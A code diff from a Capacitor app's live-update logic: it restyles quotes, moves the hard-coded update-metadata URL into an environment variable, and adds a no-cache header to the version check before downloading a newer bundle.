     CapacitorUpdater.notifyAppReady()
 }
 window.meta = meta
-console.log('meta', meta)
+console.log("meta", meta)
 
-CapacitorUpdater.addListener('download', ({ percent }) => {
-    console.log('download progress:', percent)
+CapacitorUpdater.addListener("download", ({ percent }) => {
+    console.log("download progress:", percent)
 })
-CapacitorUpdater.addListener('downloadFailed', e => {
-    console.log('downloadFailed', e)
+CapacitorUpdater.addListener("downloadFailed", e => {
+    console.log("downloadFailed", e)
 })
 
 const checkUpdate = async (showPrompt = false) => {
-    const { data: remoteMeta } = await axios.get('https://zm-shorts.oss-cn-hangzhou.aliyuncs.com/packages/freeshort/meta.json', {
-        withCredentials: false
-    })
-    console.log('remoteMeta', remoteMeta)
+    const { data: remoteMeta } = await axios.get(
+        import.meta.env.VITE_UPDATE_META_URL,
+        {
+            withCredentials: false,
+            headers: {
+                "Cache-Control": "no-cache"
+            }
+        }
+    )
+    console.log("remoteMeta", remoteMeta)
     if (remoteMeta.version > meta.version) {
         const version = await CapacitorUpdater.download({
             url: remoteMeta.url,
-            version: remoteMeta.version + ''
+            version: remoteMeta.version + ""
         })
-        console.log('version', version)
+        console.log("version", version)
         CapacitorUpdater.set(version)
     }
 }